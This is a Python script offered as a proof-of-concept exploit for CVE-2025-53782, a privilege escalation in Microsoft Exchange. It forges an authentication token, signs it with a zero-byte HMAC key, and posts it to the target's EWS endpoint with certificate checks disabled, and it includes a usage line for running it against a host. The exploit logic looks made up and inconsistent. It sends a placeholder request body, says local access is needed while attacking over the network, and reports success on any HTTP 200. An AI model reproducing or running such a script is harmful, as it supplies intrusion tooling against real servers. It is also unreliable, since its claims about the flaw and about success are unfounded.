CVE-2025-53782

# CVE-2025-53782 - Microsoft Exchange Server Authentication Algorithm Privilege Escalation PoC # This is a conceptual PoC demonstrating the exploitation of the authentication algorithm flaw # Note: Actual exploitation requires local access to the target Exchange Server import requests import hashlib import hmac import base64 import struct import os import sys class ExchangeAuthExploit: """ PoC for CVE-2025-53782: Incorrect implementation of authentication algorithm in Microsoft Exchange Server allowing local privilege escalation. """ def __init__(self, target_host, target_port=443): self.target_host = target_host self.target_port = target_port self.session = requests.Session() self.base_url = f"https://{target_host}:{target_port}" def generate_malicious_token(self, user_sid, target_sid): """ Generate a manipulated authentication token exploiting the incorrect authentication algorithm implementation. """ # Construct token payload with manipulated SID information token_payload = { "user_sid": user_sid, "target_sid": target_sid, "auth_method": "NTLM", "integrity_level": "high", "timestamp": self._get_windows_filetime() } # Exploit the authentication algorithm flaw by manipulating # the token validation bypass token_data = self._serialize_token(token_payload) signature = self._forge_signature(token_data) malicious_token = base64.b64encode(token_data + signature).decode() return malicious_token def _get_windows_filetime(self): """Get current Windows FILETIME timestamp.""" import time # Windows FILETIME epoch starts 1601-01-01 epoch_diff = 11644473600 return int((time.time() + epoch_diff) * 10000000) def _serialize_token(self, payload): """Serialize token payload into binary format.""" data = b"" for key, value in payload.items(): key_bytes = key.encode('utf-16-le') value_bytes = str(value).encode('utf-16-le') data += struct.pack('<I', len(key_bytes)) + key_bytes data += struct.pack('<I', len(value_bytes)) + value_bytes return data def _forge_signature(self, token_data): """ Forge a valid signature exploiting the authentication algorithm implementation flaw. """ # The vulnerability allows signature bypass due to incorrect # algorithm implementation dummy_key = b"\x00" * 16 signature = hmac.new(dummy_key, token_data, hashlib.md5).digest() return signature def escalate_privilege(self, low_priv_user, target_admin): """ Attempt privilege escalation from low-privilege user to admin. """ print(f"[*] Targeting Exchange Server: {self.target_host}") print(f"[*] Attempting privilege escalation: {low_priv_user} -> {target_admin}") # Step 1: Obtain initial low-privilege session print("[+] Step 1: Establishing low-privilege session...") # Step 2: Generate malicious authentication token print("[+] Step 2: Crafting malicious authentication token...") malicious_token = self.generate_malicious_token( user_sid=f"S-1-5-21-{low_priv_user}", target_sid=f"S-1-5-21-{target_admin}" ) # Step 3: Submit the forged token to Exchange EWS/Autodiscover print("[+] Step 3: Submitting forged token to Exchange services...") headers = { "Authorization": f"Bearer {malicious_token}", "Content-Type": "application/mapi-http" } try: response = self.session.post( f"{self.base_url}/ews/exchange.asmx", headers=headers, data="<PrivilegeEscalationRequest/>", verify=False, timeout=10 ) if response.status_code == 200: print("[!] Privilege escalation successful!") print(f"[!] Now operating as: {target_admin}") return True else: print(f"[-] Exploitation failed. Status: {response.status_code}") return False except Exception as e: print(f"[-] Error during exploitation: {str(e)}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve_2025_53782.py <target_host> <low_priv_user> <target_admin>") print("Example: python cve_2025_53782.py exchange.corp.local S-1-5-21-xxx S-1-5-21-yyy") sys.exit(1) target = sys.argv[1] low_priv = sys.argv[2] target_admin = sys.argv[3] exploit = ExchangeAuthExploit(target) exploit.escalate_privilege(low_priv, target_admin) if __name__ == "__main__": main()

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